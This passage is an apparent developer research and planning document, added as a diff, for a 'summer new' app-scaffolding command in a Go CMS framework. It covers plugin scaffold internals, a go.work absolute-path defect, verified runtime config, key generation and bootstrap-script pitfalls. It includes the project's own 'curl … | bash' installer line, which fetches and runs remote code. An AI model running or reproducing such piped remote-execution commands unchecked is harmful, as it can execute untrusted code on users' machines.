+- `go vet ./...` and `go test ./...` green at every commit; one logical change per commit; planning docs and code in separate commits; **no co-author tags** in commit messages (user global rule; overrides the harness attribution reminder).
+- Unit tests are the last plan of the phase (plan 4).
+- Any change to a package under `modules/` that touches its exported API → update that module's `README.md` in the same change; a **new** module ships a README with the standard structure (H1, one-sentence summary, import line, Overview, Features, Usage, API reference, optional Configuration/CLI commands, Dependencies, Testing) and a row in the root `README.md` modules table reusing the summary sentence.
+- Framework READMEs and docs never name a consuming application (applies to the generated `CLAUDE.md` template text too, per D-10). Use neutral names (`acme`, `blog`, `demo`).
+- Every identifier named in a README/docs page must exist (docs checker). A change to exported API/config/CLI updates `docs/` in the same change; `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check` must pass.
+- Config keys in docs are not machine-checked — review by hand.
+- Core plugins (user, blog, pages, payment) must not get breaking changes; the site plugin and `sm-summercmsio-app` are not core plugins.
+- Use `ssu` for submodule status/push in `sm-summercmsio-app` (user global rule).
+- GSD workflow: work through `/gsd-execute-phase`.
+
+## Summary
+
+Almost everything `summer new` needs already exists as callable library code: `build.MakePlugin(ctx, startDir, id)` and `build.AddPlugin(ctx, startDir, pluginDir)` already take a directory argument (not cwd), and the unexported `generate(appDir, m)` writes `main.go` + `plugins.gen.go` without compiling. A new `internal/build/new.go` in the same package can orchestrate them. Two real defects surfaced that the plan must fix: (1) `plugin:add` writes an **absolute** path into `go.work` (because it passes an absolute dir to `go work use`), which would make the committed `go.work` of every generated app machine-specific; (2) the `make:plugin` `routes.go` stub registers no route, so the starter route needs a template option, not a second template.
+
+An empty plugin list builds and serves (verified: `plugins: []` → `built empty in 1.947s`, `route:list` and `serve` work once config is present), so `--no-plugin` should be added. The minimal runtime contract was established empirically against PostgreSQL 16: `serve`/`route:list` require `http.body_limits.{default_bytes,upload_bytes}` as YAML numbers; `migrate`/`serve` require `database.dsn` and a valid `app.key` (32 bytes base64); `serve` additionally requires `storage.uploads.bucket_url`. Nothing else (no admin JWT secret — that is only required when an admin controller exists). The hand-built scratch app (`go.mod`, `go.work`, `summer.yaml`, `config/http.yaml`, `config/storage.yaml`, env for DSN+key, starter plugin) built, migrated and answered `GET /` with 200 JSON through `summer serve`.
+
+The bootstrap script is a straightforward bash `main()` with git tag selection, `go install`, and `summer new --framework`. The main traps are pipefail+`head` SIGPIPE, git credential prompts hanging, `key:generate` printing a `✓ ` prefix (so it cannot be captured with `$(...)`), and `summer serve --addr` being rejected by the delegating `summer` command. The site serves the script from a new exported framework package; `//go:embed` cannot reach `../scripts/`, so the script file must live **inside** that package directory (precedent: `modules/boardwalk` embeds `dist/`).
+
+**Primary recommendation:** Implement `build.NewApp(ctx, NewOptions)` in `internal/build/new.go` as a pure "plan files" step + an executor that writes `go.mod`/`go.work`/config first, then calls the existing `MakePlugin` (with a `StarterRoute` option rendered by the same `routes.go` template) and a fixed `AddPlugin` (relative `go work use`), then `generate()`, then git. Put the bootstrap script in a new `modules/<pkg>/new.sh` embedded by that package, and name all script env overrides `SUMMERCMS_*` (never `SUMMER_*`).
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Name validation, target dir guard | CLI (`cmd/summer` → `internal/build`) | — | Public CLI contract (D-02); lives next to `ValidatePluginID` |
+| Framework checkout detection, relative replace | CLI (`internal/build/new.go`) | Bootstrap passes `--framework` | Filesystem-only logic; reuse `parseGoMod` |
+| Starter plugin + go.work | CLI (existing `MakePlugin`/`AddPlugin`) | — | D-05 "same code paths" |
+| App key generation | Framework module `modules/lagoon` (exported helper) | CLI calls it | D-08: reuse, do not copy |
+| Bootstrap (clone/update, install, run) | Shell script embedded in framework package | — | Versioned with the tag (D-13) |
+| Serving `/new` | Site plugin (`sm-summercmsio-plugin`) route | nginx (unchanged passthrough) | D-13; nginx already proxies GET/HEAD |
+| Local DB | `compose.yaml` (Docker) | `.env` DSN | D-09 |
+| Docs/llms | `docs/` source; llms built by `docs:build` at site build time | site build.sh | llms files are build output, not committed |
+
+## Standard Stack
+
+### Core (all already in the repo; no new dependencies)
+| Library | Version | Purpose | Why Standard |
+|---------|---------|---------|--------------|
+| `text/template` + `embed` | stdlib (Go 1.27.0 local) | Render app files from `internal/build/stubs/*.tmpl` | Existing stub mechanism `stubTmpl = template.Must(template.ParseFS(stubFS, "stubs/*.tmpl"))` [VERIFIED: internal/build/scaffold.go:20-23] |
+| `os/exec` (`go`, `git`) | stdlib | `go mod tidy`, `go mod edit`, `go work use`, `git init/commit` | Existing `runGo`/`applyGoWork` helpers [VERIFIED: internal/build/scaffold.go:508-541] |
+| `runtime.Caller` / `runtime/debug` | stdlib | Optional framework source-location candidate (D-04) | Verified behaviour below |
+| `go/token.IsKeyword` | stdlib | Reject Go keywords as `<name>` | See Pitfall 3 |
+| `modules/bonfire` | in-repo | `summer new` command definition (Args, Flags with `Bare`) | `type Flag struct { Name, Shorthand, Description, Default string; Bare bool; Repeatable bool }` [VERIFIED: modules/bonfire/command.go:24-38] |
+| `modules/lagoon` | in-repo | Key generation helper to export | [VERIFIED: modules/lagoon/keygen.go:13-26] |
+
+### Supporting (external tools, not Go deps)
+| Tool | Version found | Purpose |
+|------|---------------|---------|
+| shellcheck | 0.11.0 on host [VERIFIED: `shellcheck --version`] | Lint `new.sh` in a test (skip when absent) |
+| bash | 5.3.15 host, 5.2.15 in node:24-bookworm [VERIFIED] | Script runtime |
+| git | 2.55.0 host, 2.39.5 in node:24-bookworm [VERIFIED] | `init -b`, `ls-remote --sort` both supported |
+| Docker + compose | 29.7.2 / Compose 5.5.0 host [VERIFIED] | compose.yaml, acceptance |
+| postgres:16, node:24-bookworm images | present locally [VERIFIED: `docker images`] | DB + acceptance base |
+
+**Installation:** none (no `go get`).
+
+## Package Legitimacy Audit
+
+No external packages are installed by this phase: no new Go modules, no npm packages. The acceptance container downloads the official Go tarball (`https://go.dev/dl/go1.27.0.linux-amd64.tar.gz`, which redirects to `dl.google.com` [VERIFIED: curl -sI]) and the Docker CLI/compose plugin from Docker's official distribution.
+
+| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
+|---------|----------|-----|-----------|-------------|---------|-------------|
+| (none) | — | — | — | — | — | — |
+
+**Packages removed due to [SLOP] verdict:** none
+**Packages flagged as suspicious [SUS]:** none
+
+## Verified Internals (questions 1-6, 11)
+
+### Q1. make:plugin / plugin:add internals and what `summer new` calls
+
+- `func MakePlugin(ctx context.Context, startDir, id string) (string, error)` — validates the ID, `findAppDir(startDir)` (walks up for `summer.yaml`), creates `plugins/<name>` (refuses if it exists), reads `summer.yaml` for `m.Module`, sets plugin module `m.Module + "/plugins/" + name`, copies the app's framework `replace` rewritten relative to the plugin dir, writes the scaffold, runs `go mod tidy` in the plugin dir, appends `toolchain go1.27.0`. [VERIFIED: internal/build/scaffold.go:51-103]
+- `func AddPlugin(ctx context.Context, startDir, pluginDir string) error` — resolves the plugin dir, reads its module path and ID from `plugin.go`, appends `{ID, Module}` to `summer.yaml`, `go mod edit -require=<mod>@v0.0.0` and `-replace=<mod>=./plugins/<name>` on the app `go.mod`, then `ensureGoWork` (creates `go.work` in the app root if none is found upward, then `go work use`). [VERIFIED: internal/build/scaffold.go:105-173, 318-352]
+- Both already take a directory parameter, so **no cwd refactor is needed**; `cmd/summer` passes `os.Getwd()` [VERIFIED: cmd/summer/main.go:62-90, 282-298].
+- Scaffold layout written: `plugin.go`, `routes.go`, `registry.gen.go`, `go.mod` (+`go.sum` from tidy), leaf packages `models classes controllers console jobs middleware updates` (each `doc.go`), assets `config/config.yaml` (`{}`), `lang/en/lang.yaml` (`{}`), `views/mail/welcome.htm`. [VERIFIED: internal/build/scaffold.go:25-33, 180-231]
+- **The stub registers no route:** `{{define "routes.go"}}... func (p *Plugin) Routes(pact.Router) error { return nil }` [VERIFIED: internal/build/stubs/plugin.tmpl:63-70]. The plugin `go.mod` stub is `require {{.Framework}} v0.0.0` + optional `replace {{.Framework}} => {{.Replace}}` [VERIFIED: internal/build/stubs/plugin.tmpl:72-81].
+- Constants: `frameworkModule = "git.golem15.com/golem15/summercms"`, `goVersionLine = "go 1.27.0"`, `toolchainLine = "toolchain go1.27.0"` [VERIFIED: internal/build/scaffold.go:45-49].
+- `generate(appDir string, m Manifest) error` writes `main.go` and `plugins.gen.go` via `writeIfChanged` with no compile [VERIFIED: internal/build/build.go:62-78] — `summer new` (same package) can call it so the first commit contains the generated files.
+- `SaveManifest` writes `module:`, `binary:`, `plugins:` with entries `  - id:` / `    module:` [VERIFIED: internal/build/manifest.go:261-287]; with zero plugins it writes `plugins:` (null) which `LoadManifest` accepts (hello tests use it).
+
+**Refactors required:**
+1. **AddPlugin writes an absolute path into `go.work`.** Empirically, `summer plugin:add plugins/demo` produced:
+   ```
+   use (
+   	.
+   	/tmp/.../scratchpad/sib/sm-demo-app/plugins/demo
+   )
+   ```
+   because `runGoWorkUse(ctx, appDir, gw, pluginDir)` is called with the absolute `pluginDir` [VERIFIED: internal/build/scaffold.go:351, 362-371; empirical run]. Running `go work use ./plugins/demo` from the app dir writes `./plugins/demo` [VERIFIED: empirical]. Fix: compute `rel, _ := filepath.Rel(filepath.Dir(goWork), pluginDir)` and prefix `./` (same logic as `editAppModule` lines 322-329), also in the `ensureGoWork` loop for existing plugins (line 344-346). This changes `plugin:add` output for existing users from absolute to relative (an improvement; `TestMakeAndAddPluginOnHelloCopy` only checks `bytes.Contains(work, "plugins/demo")` [VERIFIED: internal/build/build_test.go:268-274]). Update the `go-modules-and-workspaces.md` text if it describes the path.
+2. **Starter route option.** Add a field to `stubData` (e.g. `StarterRoute bool`) and an `{{if .StarterRoute}}` branch in the existing `routes.go` define; add an unexported `makePlugin(ctx, dir, id, opts)` that `MakePlugin` wraps with zero options. This keeps one template (D-05) and leaves `make:plugin` output unchanged (two `make:plugin` plugins would otherwise collide on the same path).
+
+### Q2. Does an empty `plugins: []` build and serve? — YES
+
+Scratch app: `go.mod` (module + `require summercms v0.0.0` + relative replace), `summer.yaml` with `plugins: []`, no `go.work`:
+```
+$ summer build
+built empty in 1.947s
+$ ./bin/empty route:list
+surf: config http.body_limits.default_bytes is required        # before config/http.yaml
+$ ./bin/empty route:list                                        # after config/http.yaml
+Method	Pattern	Plugin	Middleware	Raw
+```
+`plugins.gen.go` became `var PluginIDs = []string{}` with no import block [VERIFIED: empirical; internal/build/build.go:139-157]. With DSN + key + bucket set, `serve` started (`job worker started on queues: default, scheduled`, `listening on 127.0.0.1:18731`) and returned 404 for `/` (no routes). The same app with its own `go.work` (`use .`) also builds (workspace mode writes `go.work.sum` automatically) [VERIFIED: empirical]. **Decision input for D-06: add `--no-plugin`; no pipeline fix needed.**
+
+### Q3. Minimal complete config — verified against PostgreSQL 16
+
+Failure sequence observed on the empty app (each error appeared until the next item was added) [VERIFIED: empirical]:
+1. `route:list`/`serve`: `surf: config http.body_limits.default_bytes is required` — from `requiredBytes(app, "http.body_limits.default_bytes")` and `"http.body_limits.upload_bytes"` [VERIFIED: modules/surf/router.go:491-498].
+2. `migrate`/`serve`: `lagoon: database.dsn is empty (set SUMMER_DATABASE__DSN)` [VERIFIED: modules/lagoon/connection.go:25].
+3. `migrate`/`serve`: `lagoon: app.key is empty or invalid (set SUMMER_APP__KEY to a 32-byte base64 value)` — `decodeAppKey` requires StdEncoding base64 of exactly `encryptedKeySize   = 32` bytes [VERIFIED: modules/lagoon/encrypted.go:23, 197-207].
+4. `serve` only: `attach: storage.uploads.bucket_url is empty (set SUMMER_STORAGE__UPLOADS__BUCKET_URL)` [VERIFIED: modules/lagoon/attach/bucket.go:66-69]. `file://` URLs get `create_dir=true` added automatically [VERIFIED: modules/lagoon/attach/bucket.go:47-53]; `file://./storage/app/uploads` created `storage/app/uploads` relative to the working dir [VERIFIED: empirical].
+5. Admin JWT secret is **not** required: `cabana.Activate` returns early when no plugin has admin controllers ("No controllers means no admin routes and no secret check") [VERIFIED: modules/cabana/http.go:73-84].
+
+Then `summer migrate` → `✓ migrations applied`; `summer serve` → `GET /` 200 `{"message":"root","plugin":"golem15.demo"}`, `GET /api/demo/hello` 200, `/nope` 404 [VERIFIED: empirical, starter plugin with routes `GET /{$}` and `GET /api/demo/hello`].
+
+**Env mapping:** prefix `const envPrefix = "SUMMER_"`; `__` splits path segments, segments lower-cased (`SUMMER_DATABASE__DSN` → `database.dsn`); `SUMMER_ENV` is skipped and selects the environment (default `"production"`) [VERIFIED: modules/compass/env.go:13, 31-44; modules/compass/config.go:187-199]. The `.env` file is read from `filepath.Join(filepath.Dir(c.dir), ".env")`, i.e. **next to `config/`** (app root); real environment variables win over `.env`; values may be wrapped in single or double quotes, `export ` prefix allowed, `#` comment lines skipped [VERIFIED: modules/compass/config.go:187; modules/compass/env.go:46-98]. Env values are strings — `body_limits` must therefore be YAML numbers in `config/http.yaml` (existing app comment says the same) [VERIFIED: ../sm-summercmsio-app/config/http.yaml].
+
+**Recommended generated file set** (each verified to be sufficient):
+
+| File | Content | Required by |
+|------|---------|-------------|
+| `go.mod` | `module git.golem15.com/golem15/sm-<name>-app`, `go 1.27.0`, `toolchain go1.27.0`, `require git.golem15.com/golem15/summercms v0.0.0`, `replace … => ../summercms` (relative) | build |
+| `go.work` | `go 1.27.0` / `toolchain go1.27.0` / `use ( . ./plugins/<name> )` — relative | build (workspace) |
+| `summer.yaml` | `module:`, `binary: <name>`, `plugins:` | build |
+| `main.go`, `plugins.gen.go` | from `generate()` | committed (see Q5) |
+| `config/app.yaml` | `name: <name>`, `debug: false`, `key: ""` with a comment pointing at `SUMMER_APP__KEY` | documentation only |
+| `config/http.yaml` | `body_limits: {default_bytes: 1048576, upload_bytes: 10485760}` | serve, route:list |
+| `config/storage.yaml` | `uploads: {bucket_url: "file://./storage/app/uploads", public_path_prefix: "/storage/uploads"}` | serve |
+| `config/database.yaml` | `dsn: ""` + comment pointing at `SUMMER_DATABASE__DSN` | documentation only |
+| `.env` (mode 0600) | `SUMMER_DATABASE__DSN=postgres://…@127.0.0.1:<port>/<db>?sslmode=disable`, `SUMMER_APP__KEY=<fresh>` | migrate, serve |
+| `.env.example` | same keys, placeholder key, plus commented `SUMMER_STORAGE__UPLOADS__BUCKET_URL` and `SUMMER_ENV` | docs |
+| `compose.yaml` | `postgres:16`, credentials = DSN, port bound to `127.0.0.1`, named volume, `pg_isready` healthcheck | D-09 |
+| `.gitignore`, `CLAUDE.md`, `AGENTS.md`, `plugins/<name>/…` | see Q5 / D-10 | |
+
+Optional `config/queue.yaml` is not needed: with no setting the in-process River worker starts in `serve` and works after `migrate` [VERIFIED: empirical log `River client started`].
+
+**`examples/hello` gap (D-07):** confirmed — `go test ./...` in `examples/hello` fails today: `--- FAIL: TestTypedItemRoute ... surf: config http.body_limits.default_bytes is required` [VERIFIED: empirical]. Adding `examples/hello/config/http.yaml` with the same `body_limits` fixes it (hello tests load `compass.Load("config")`). The docs warning about a stale `examples/hello/main.go` is **obsolete**: a fresh `summer build` of a copy produced a byte-identical `main.go` [VERIFIED: empirical `diff` empty] — remove both bullets of the "Known issues" warning in `installation.md` when D-07 lands.
+
+### Q4. key:generate reuse
+
+```go
+// modules/lagoon/keygen.go:13-26
+func KeyGenerateCommand() bonfire.Command {
+	...
+		Run: func(ctx context.Context, in bonfire.Input, out bonfire.Output) error {
+			key := make([]byte, encryptedKeySize)
+			if _, err := rand.Read(key); err != nil {
+				return err
+			}
+			out.Success(base64.StdEncoding.EncodeToString(key))
+			return nil
+		},
+```
+[VERIFIED: modules/lagoon/keygen.go:13-26]. **Format:** `base64.StdEncoding` of 32 random bytes = 44 chars (with `=` padding). **Pitfall:** `out.Success` prefixes a check mark — `./bin/app key:generate | od -c` started with `342 234 223` (`✓`) and a space; `export SUMMER_APP__KEY=$(./bin/app key:generate)` produced a 46-char value that `decodeAppKey` rejects [VERIFIED: empirical]. Recommendation: export `func GenerateAppKey() (string, error)` in `keygen.go`, make `KeyGenerateCommand` call it, and have `cmd/summer` call it and pass the key into `build.NewOptions` (keeps `internal/build` free of a lagoon import; `cmd/summer` already imports lagoon [VERIFIED: cmd/summer/docs.go:18]). Update `modules/lagoon/README.md` API table (it already lists `lagoon.KeyGenerateCommand` at line 150) [VERIFIED: grep modules/lagoon/README.md:147-150].
+
+### Q5. What to gitignore
+
+Both hand-built apps use the identical `.gitignore`: `/bin/`, `/tmp/`, `*.exe`, `go.work.sum`, `.env`, `/storage/` and **commit** `main.go`, `plugins.gen.go`, `go.work` [VERIFIED: ../sm-bm-app/.gitignore, ../sm-summercmsio-app/.gitignore, `git ls-files`]. The site's `CLAUDE.md` states `main.go` and `plugins.gen.go` are "generated and committed". The framework itself ignores `go.work.sum` and `.env*` except `.env.example`.
+
+Recommendation: generated `.gitignore` = `/bin/`, `/tmp/`, `/storage/`, `.env`, `go.work.sum` (+ `*.exe`). Commit `go.work`, `main.go`, `plugins.gen.go`, plugin `go.sum`. **Verified:** after committing with that `.gitignore`, a fresh `git clone` into another sibling dir ran `summer build` successfully and left `git status` clean (`go.work.sum` regenerated, ignored) [VERIFIED: empirical]. Note the app root has no `go.sum` (only `go.work.sum`) — fine in workspace mode.
+
+### Q6. Framework detection and relative replace
+
+- Read a candidate's module path with the existing `parseGoMod(path) (module string, replaces map[string]string, err error)` [VERIFIED: internal/build/scaffold.go:399-440]; compare to `frameworkModule`.
+- Relative replace: `filepath.Rel(appDir, frameworkAbs)` on **lexical** absolute paths for both sides (do not `EvalSymlinks` one side only); `filepath.ToSlash`; Go requires local replace paths to start with `./` or `../` — reuse the prefix logic from `editAppModule` [VERIFIED: internal/build/scaffold.go:322-329]. A symlinked sibling (`sib/summercms -> framework`) with `replace => ../summercms` built fine; the plugin got `../../../summercms` and the workspace accepted both replaces (same target) [VERIFIED: empirical].
+- **Binary source location (D-04 optional candidate): cheap and reliable enough as a last candidate.** `runtime.Caller(0)` inside `internal/build` returns the absolute compile-time path when built without `-trimpath` (the scratch `summer` binary embeds `/media/nvme/.../summercms.go/internal/build/scaffold.go`); with `-trimpath` it returns a module-relative path (`example.com/callertest/main.go`), so guard with `filepath.IsAbs` and always confirm `go.mod`'s module path at `<dir>/../../go.mod` [VERIFIED: empirical]. `debug.ReadBuildInfo()` gives no directory, only `Main.Path`/`Main.Version`; a build inside the checkout carries a VCS version such as `v0.1.13-0.20261007223035-d94f804dddd6+dirty` [VERIFIED: `go version -m`]. Order: `--framework` > siblings > binary source > error naming `--framework`.
+- Recommended sibling candidates: `<parent>/summercms`, `<parent>/summercms.go`; optionally scan all immediate subdirectories of the parent in sorted order (one `go.mod` read each). Refuse when the target would be created **inside** the framework checkout.
+- Require version: use `v0.0.0` (consistent with the plugin stub and `examples/hello`); a release tag from `ReadBuildInfo` is a possible refinement but not needed for building because the replace wins.
+
+### Q11. Test conventions
+
+- Real `go build` tests in `internal/build` are **not** `-short` gated today (`TestMakeAndAddPluginOnHelloCopy`, `TestScaffoldPluginSmoke` run `MakePlugin`+`AddPlugin`+`App`) [VERIFIED: internal/build/build_test.go:226-325, 423-494]; the whole package runs in ~17s [VERIFIED: `go test ./internal/build/` 17.3s]. `-short` gating with `t.Skip("requires testcontainers postgres")` is the convention for Docker-dependent tests [VERIFIED: modules/lagoon/postgres_test.go:91-93].
+- No golden-file infrastructure exists anywhere (no `-update` flag, no `testdata/*.golden`) [VERIFIED: grep]. Plan 4 introduces it: `internal/build/testdata/new/<file>.golden` + `var update = flag.Bool("update", false, "rewrite golden files")`.
+- `cmd/summer` tests drive commands through `bonfire.NewRoot("summer", toolCommands(), &buf)`, `t.Chdir`, and a `copyHelloApp` helper that rewrites the framework replace to an absolute path [VERIFIED: cmd/summer/main_test.go:102-218]. `TestToolCommandNames` lists required tool commands — add `"new"` there and a `helpWants` entry for its flags [VERIFIED: cmd/summer/main_test.go:17-70].
+- Phase gate scripts live in `scripts/check-phase<N>.sh` with `set -euo pipefail`, `PHASE<N>_*` env overrides and `go -C` for sibling repos [VERIFIED: scripts/check-phase14.2.1.sh:1-40]. Lean mode: optional, but the container acceptance (D-20) fits this convention as `scripts/check-phase14.3.sh`.
+
+## Architecture Patterns
+
+### System Architecture Diagram
+
+```
+user shell
+  │  curl -fsSL https://summercms.io/new | bash -s -- demo
+  ▼
+nginx (GET/HEAD passthrough) ──► summercms-io binary ──► site plugin GET /new
+                                                          │ bytes = <pkg>.Script() (embedded new.sh at tag v0.1.13)
+  ◄──────────── text/plain; charset=utf-8 ────────────────┘
+bash: main "$@"
+  ├─ check: go ≥ 1.27 (fail) · docker (warn) · git (fail) · name regex (fail)
+  ├─ framework dir ($SUMMERCMS_DIR or ./summercms)
+  │     ├─ absent  → git clone $SUMMERCMS_REPO → checkout latest vX.Y.Z (or $SUMMERCMS_REF)
+  │     └─ present → verify go.mod module · clean · detached · fetch --tags · ff-only to newest tag, else refuse
+  ├─ go -C <fw> install ./cmd/summer → $GOBIN or $(first GOPATH)/bin   (PATH hint if missing)
+  ├─ "$gobin/summer" new demo --framework <fw>      (cwd = parent of <fw>)
+  │     └─ internal/build.NewApp
+  │           ├─ validate name / refuse existing sm-demo-app
+  │           ├─ resolve framework (flag > siblings > binary source) → relative replace
+  │           ├─ write go.mod, go.work, summer.yaml, config/, .env(0600), .env.example, compose.yaml, .gitignore, CLAUDE.md, AGENTS.md
+  │           ├─ makePlugin(golem15.demo, StarterRoute) → go mod tidy (network/module cache)
+  │           ├─ AddPlugin (relative go work use)
+  │           ├─ generate() → main.go, plugins.gen.go
+  │           └─ git init + commit (fallback identity) unless --no-git
+  └─ print next steps
+then: cd sm-demo-app → docker compose up -d --wait → summer build → summer migrate → summer serve → curl :8080/
+```
+
+### Recommended Project Structure
+
+```
+internal/build/
+├── new.go               # NewOptions, NewApp, validateAppName, findFramework, planNewApp (pure) + executor
+├── stubs/new.tmpl       # {{define "new/go.mod"}}, "new/compose.yaml", "new/CLAUDE.md", "new/config/http.yaml", ... (flat: embed pattern is stubs/*.tmpl)
+├── stubs/plugin.tmpl    # routes.go gains {{if .StarterRoute}}
+└── testdata/new/*.golden  (plan 4)
+cmd/summer/main.go       # newCommand(): Args name; Flags framework, no-git, no-plugin (Bare)
+modules/lagoon/keygen.go # + GenerateAppKey() (string, error)
+modules/<pkg>/           # NEW exported package (name is planner's call, e.g. "sunrise")
+├── new.sh               # the bootstrap script (single source of truth)
+├── <pkg>.go             # //go:embed new.sh ; func Script() []byte
+├── <pkg>_test.go
+└── README.md            # standard module README + row in root README.md
+examples/hello/config/http.yaml   # D-07 gap fix
+```
+
+`//go:embed` patterns cannot contain `..`, so `scripts/new.sh` cannot be embedded from `modules/<pkg>` [CITED: pkg.go.dev/embed — "Patterns may not contain '.' or '..' path elements"; ASSUMED wording]. Precedent for "the embedded file lives in the package dir": `modules/boardwalk` uses `//go:embed all:dist` on its own `dist/` [VERIFIED: modules/boardwalk/boardwalk.go:24]. The root README describes `scripts/` as "Verification scripts used as phase gates" [VERIFIED: README.md:79], another reason to keep `new.sh` in the package.
+
+### Pattern 1: Pure plan + executor
+**What:** `planNewApp(opts) ([]genFile, error)` renders every file `summer new` writes itself (no I/O beyond reading the framework `go.mod`); `NewApp` writes them, then runs the go/git steps.
+**Why:** plan 4 golden tests render without network or `go mod tidy`, and the deterministic files (everything except `.env`'s key and the plugin `go.sum`) can be compared byte for byte.
+
+### Pattern 2: Write `go.work` before `makePlugin`
+`findGoWork` walks **up** from the app dir [VERIFIED: internal/build/scaffold.go:493-506]; if an ancestor directory has a `go.work`, `make:plugin`'s `go mod tidy` and `plugin:add` would use it. Writing the app's own `go.work` (`use .`) first isolates the new app; `make:plugin` with a pre-existing app `go.work` succeeded [VERIFIED: empirical], and `ensureGoWork` then just runs `go work use` [VERIFIED: internal/build/scaffold.go:336-352]. This also gives `--no-plugin` apps a consistent layout (a `use .`-only workspace builds [VERIFIED: empirical]).
+
+### Pattern 3: Starter route
+```go
+// routes.go, rendered by the existing "routes.go" define when StarterRoute is true (verified to work through surf)
+func (p *Plugin) Routes(r pact.Router) error {
+	r.Get("/{$}", func(w http.ResponseWriter, req *http.Request) {
+		w.Header().Set("Content-Type", "application/json")
+		_ = json.NewEncoder(w).Encode(map[string]string{"plugin": p.ID(), "message": "Hello from SummerCMS"})
+	})
+	return nil
+}
+```
+`pact.Router` has `Get(path string, handler http.HandlerFunc, middleware ...string)` [VERIFIED: modules/pact/capabilities.go:64-74]. `GET /{$}` (exact root, Go ServeMux syntax) appeared in `route:list` as `GET /{$} golem15.demo false` and answered 200 while `/nope` stayed 404 [VERIFIED: empirical]. An extra namespaced route (e.g. `/api/<name>/hello`) is optional.
+
+### Pattern 4: `summer new` command wiring
+```go
+bonfire.Command{
+	Name: "new", Description: "Create a SummerCMS application in sm-<name>-app",
+	Args:  []bonfire.Arg{{Name: "name", Description: "Lower-case letters and digits, starting with a letter", Required: true}},
+	Flags: []bonfire.Flag{
+		{Name: "framework", Description: "Path to the framework checkout"},
+		{Name: "no-plugin", Description: "Do not create the starter plugin", Bare: true},
+		{Name: "no-git", Description: "Do not initialise a git repository", Bare: true},
+	},
+	Run: ..., // os.Getwd() as parent; lagoon.GenerateAppKey(); build.NewApp(ctx, opts, out)
+}
+```
+`flagTrue(in, name)` already parses Bare flags [VERIFIED: cmd/summer/main.go:240-251]. Adding the command to `toolCommands()` automatically allows `summer new` in docs (the docs checker's tool list is derived from `toolCommands()`) [VERIFIED: cmd/summer/docs.go:144-148].
+
+### Anti-Patterns to Avoid
+- **A second plugin template for the starter plugin** — violates D-05; use the `StarterRoute` option.
+- **Running `go mod tidy` on the app before `main.go`/`plugins.gen.go` exist** — tidy would drop the plugin `require` added by `plugin:add` (nothing imports it yet). If the app should get a `go.sum`, run tidy only after `generate()`. Not required for building.
+- **Capturing `key:generate` output in shell** (`$(bin/app key:generate)`) — includes `✓ `.
+- **`summer serve --addr …` in docs/next steps** — the delegating `summer serve` declares no flags: `unknown flag: --addr`; `summer serve -- --addr X` or `./bin/<app> serve --addr X` work [VERIFIED: empirical; cmd/summer/runtime.go:16-26].
+- **Naming script env overrides `SUMMER_*`** — compass would read them as config keys, and `terminalEnv` in `terminal_check_test.go` strips every `SUMMER_*` variable [VERIFIED: ../sm-summercmsio-app/terminal_check_test.go:66-88]. Use `SUMMERCMS_*` (matches the site's existing `SUMMERCMS_FRAMEWORK`, `SUMMERCMS_CLONE_URL`).
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| Plugin scaffold | new templates | `MakePlugin`/`AddPlugin` (+option) | D-05; byte-stable existing behaviour |
+| `go.mod`/`go.work` edits | string editing | `go mod edit`, `go work use` via `runGo`/`runGoWorkUse` | Go validates syntax |
+| `main.go` generation | copy of generator | `generate(appDir, m)` | single source |
+| App key | new random code | exported `lagoon.GenerateAppKey` | D-08 |
+| Go keyword check | hand list | `go/token.IsKeyword` | complete, stdlib |
+| Module path read | regex | `parseGoMod` | existing helper |
+| ETag / headers for `/new` | new scheme | site plugin's `file{body, etag, ctype}` + `setCommonHeaders` + `cacheNoCache` | consistent with every other site response [VERIFIED: plugins/golem15/summercms/static.go:17-23, 140-147, 187-221] |
+
+## Common Pitfalls
+
+### Pitfall 1: Absolute paths in the committed go.work
+**What goes wrong:** generated app works on the author's machine only. **Why:** `AddPlugin` passes an absolute dir to `go work use`. **Avoid:** relative arg (see Q1 refactor 1). **Warning sign:** `/` at the start of a `use` line in the golden `go.work`.
+
+### Pitfall 2: Ancestor `go.work` capture
+Creating the app under a directory tree with a `go.work` would route `go mod tidy`/`go build` through that workspace. **Avoid:** write the app `go.work` first (Pattern 2); refuse a target inside the framework checkout.
+
+### Pitfall 3: Names that pass `^[a-z][a-z0-9]*$` but break the build
+Verified with `make:plugin` + `plugin:add` + `build` [VERIFIED: empirical]:
+- `main` → `import ".../plugins/main" is a program, not an importable package`
+- `internal` → `use of internal package .../plugins/internal not allowed`
+- `go` (any Go keyword) → stub render fails (`package go` does not parse)
+- `init`, `string`, `vendor`, `testdata` → built fine.
+**Avoid:** `summer new` additionally rejects `token.IsKeyword(name)`, `main`, `internal`, with a message naming the rule. This is stricter than D-02's regex; it is a necessary refinement of the costly contract — surface to the user in the plan checkpoint. (`make:plugin` has the same latent issue; out of scope unless trivial.)
+
+### Pitfall 4: Partial directory blocks a re-run
+`summer new` refuses an existing `sm-<name>-app` (D-02), so a failure in `go mod tidy` (e.g. offline) would leave a directory that blocks retry. **Avoid:** on error, `os.RemoveAll` the target **only** because it did not exist before this run; print the cause.
+
+### Pitfall 5: git commit in a fresh container/CI
+`node:24-bookworm` runs as root with no git identity [VERIFIED: `id -u` → 0]. **Avoid:** when `git config user.name`/`user.email` are unset (and `GIT_AUTHOR_*` absent), run the first commit as `git -c user.name=SummerCMS -c user.email=summer@localhost commit ...` [VERIFIED: empirical commit with `HOME=<empty>` succeeded]. Run git with stdin closed; treat a commit failure (e.g. `commit.gpgsign=true` with an unavailable key) as a warning, not a fatal error — the app is still usable. Use `git init -b main` (git ≥ 2.28; bookworm has 2.39.5).
+
+### Pitfall 6: pipefail + `head` in the script
+`git tag … | grep … | head -1` under `set -o pipefail` can fail with SIGPIPE (exit 141). **Avoid:** capture the whole list into a variable (`tags=$(git tag -l 'v*' --sort=-v:refname)`) and pick the first exact `^v[0-9]+\.[0-9]+\.[0-9]+$` match in a bash loop. [ASSUMED: general bash behaviour; not reproduced here]
+
+### Pitfall 7: hanging git credential prompts / stdin
+With `curl | bash`, stdin is the script pipe. **Avoid:** `export GIT_TERMINAL_PROMPT=0`; run children with `</dev/null`; keep `main "$@"` as the very last line so nothing follows it in the pipe.
+
+### Pitfall 8: `go env GOVERSION` formats
